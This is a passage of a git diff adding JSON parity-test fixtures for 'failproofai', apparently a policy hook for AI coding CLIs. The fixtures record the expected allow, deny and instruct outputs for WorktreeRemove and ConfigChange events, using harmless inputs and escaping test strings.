&a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1d026290 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..39b67bd4 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2e727ea5 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c7a13fb5 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3c8d2eaf --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..61fb550e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..262a9f02 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..3a1e6c9c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2693c85b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..316b3139 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2ce58daa --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a69d1494 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f3fcb4d6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..577579d3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..83bda17c --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..31958c56 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..48cebb86 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..27f91840 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8f105084 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + 